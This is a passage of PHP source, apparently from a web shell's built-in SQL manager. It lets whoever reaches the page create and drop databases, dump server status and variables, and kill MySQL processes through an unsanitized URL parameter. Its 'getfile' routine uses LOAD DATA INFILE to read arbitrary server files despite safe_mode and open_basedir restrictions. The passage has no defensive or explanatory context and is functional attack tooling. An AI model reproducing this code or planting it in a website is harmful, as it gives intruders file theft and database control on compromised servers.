type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
375 if (!empty($sql_act)) {
376 echo "<hr size=\"1\" noshade>";
377 if ($sql_act == "newdb") {
378 echo "<b>";
379 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
380 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
381 }
382 if ($sql_act == "serverstatus") {
383 $result = mysql_query("SHOW STATUS", $sql_sock);
384 echo "<center><b>Server-status variables:</b><br><br>";
385 echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
386 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
387 echo "</table></center>";
388 mysql_free_result($result);
389 }
390 if ($sql_act == "servervars") {
391 $result = mysql_query("SHOW VARIABLES", $sql_sock);
392 echo "<center><b>Server variables:</b><br><br>";
393 echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
394 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
395 echo "</table>";
396 mysql_free_result($result);
397 }
398 if ($sql_act == "processes") {
399 if (!empty($kill)) {
400 $query = "KILL ".$kill.";";
401 $result = mysql_query($query, $sql_sock);
402 echo "<b>Process #".$kill." was killed.</b>";
403 }
404 $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
405 echo "<center><b>Processes:</b><br><br>";
406 echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
407 while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
408 echo "</table>";
409 mysql_free_result($result);
410 }
411 if ($sql_act == "getfile")
412 {
413 $tmpdb = $sql_login."_tmpdb";
414 $select = mysql_select_db($tmpdb);
415 if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
416 if ($select)
417 {
418 $created = FALSE;
419 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
420 mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
421 $result = mysql_query("SELECT * FROM tmp_file;");
422 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
423 else
424 {
425 for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
426 $f = "";
427 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
428 if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
429 else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
430 mysql_free_result($result);
431 mysql_query("DROP TABLE tmp_file;");
432 }
433 }
434 mysql_drop_db($tmpdb); //comment it if you want to leave database
435 }
436 }
437 }
438}
439echo "</td></tr></table>";
440if ($sql_sock) {
441 $affected = @mysql_affected_rows($sql_sock);
442 if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
443 echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
444}
445echo "</table>";
446}
447//End of SQL Manager
448?>